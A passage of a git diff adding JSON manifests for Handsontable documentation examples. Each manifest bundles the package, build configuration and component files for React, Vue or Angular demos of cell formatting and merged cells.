(TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/formatting-cells/react/example3.tsx","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example3","exampleTitle":"Custom cell borders","docPermalink":"/formatting-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__vue__example1.vue.json new file mode 100644 index 00000000..c8981af5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Formatting cells · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/cell-features/formatting-cells/vue/example1.vue","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formatting-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__vue__example2.vue.json new file mode 100644 index 00000000..be617886 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Formatting cells · Apply inline styles · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/formatting-cells/vue/example2.vue","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example2","exampleTitle":"Apply inline styles","docPermalink":"/formatting-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__vue__example3.vue.json new file mode 100644 index 00000000..5b7f68d0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__formatting-cells__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Formatting cells · Custom cell borders · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/formatting-cells/vue/example3.vue","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example3","exampleTitle":"Custom cell borders","docPermalink":"/formatting-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__angular__example1.ts.json new file mode 100644 index 00000000..94e8f39a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Merge cells · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-merge-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = new Array(100) // number of rows\n .fill(null)\n .map((_, row) =>\n new Array(50) // number of columns\n .fill(null)\n .map((_, column) => `${row}, ${column}`)\n );\n\n readonly gridSettings: GridSettings = {\n height: 320,\n autoColumnSize: {\n allowSampleDuplicates: true,\n samplingRatio: 100,\n },\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n mergeCells: [\n { row: 1, col: 1, rowspan: 3, colspan: 3 },\n { row: 3, col: 4, rowspan: 2, colspan: 2 },\n { row: 5, col: 6, rowspan: 3, colspan: 3 },\n ],\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/merge-cells/angular/example1.ts","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/merge-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__angular__example2.ts.json new file mode 100644 index 00000000..53a68435 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Merge cells · Optimizing rendering of the wide/tall merged cells · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example2-merge-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = new Array(50) // number of rows\n .fill(null)\n .map((_, row) =>\n new Array(500) // number of columns\n .fill(null)\n .map((_, column) => `${row}, ${column}`)\n );\n\n readonly gridSettings: GridSettings = {\n height: 320,\n colWidths: 100,\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n mergeCells: {\n virtualized: true,\n cells: [{ row: 1, col: 1, rowspan: 3, colspan: 498 }],\n },\n viewportColumnRenderingOffset: 15,\n viewportColumnRenderingThreshold: 5,\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/merge-cells/angular/example2.ts","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example2","exampleTitle":"Optimizing rendering of the wide/tall merged cells","docPermalink":"/merge-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__angular__example3.ts.json new file mode 100644 index 00000000..ae52b1a8 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Merge cells · React to merge and unmerge events · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport { CellRange } from 'handsontable/base';\n\n@Component({\n selector: 'example3-merge-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `\n {{\n output ||\n 'Select cells, then press Ctrl+M (or use the context menu) to merge or unmerge them. Hook activity appears here.'\n }}\n
    \n \n
    \n `,\n})\nexport class AppComponent {\n output = '';\n\n readonly data = [\n ['North America', 420000, 465000, 501000],\n ['Europe', 388000, 402000, 411000],\n ['APAC', 275000, 298000, 312000],\n ['Latin America', 142000, 151000, 158000],\n ['Middle East', 96000, 101000, 108000],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Region', 'Jan 2025', 'Feb 2025', 'Mar 2025'],\n rowHeaders: true,\n height: 'auto',\n contextMenu: true,\n mergeCells: true,\n autoWrapRow: true,\n autoWrapCol: true,\n beforeMergeCells: (cellRange: CellRange) => {\n this.logEvent(`beforeMergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n },\n afterMergeCells: (\n cellRange: CellRange,\n mergeParent: { row: number; col: number; rowspan: number; colspan: number }\n ) => {\n this.logEvent(`afterMergeCells: merged into ${mergeParent.rowspan} row(s) by ${mergeParent.colspan} column(s).`);\n },\n beforeUnmergeCells: (cellRange: CellRange) => {\n this.logEvent(`beforeUnmergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n },\n afterUnmergeCells: (cellRange: CellRange) => {\n this.logEvent(`afterUnmergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n },\n };\n\n private logEvent(message: string): void {\n this.output = `${message}\\n${this.output}`;\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/merge-cells/angular/example3.ts","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example3","exampleTitle":"React to merge and unmerge events","docPermalink":"/merge-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__angular__example4.ts.json new file mode 100644 index 00000000..4f9006ff --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__angular__example4.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Merge cells · Merge and unmerge cells programmatically · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n 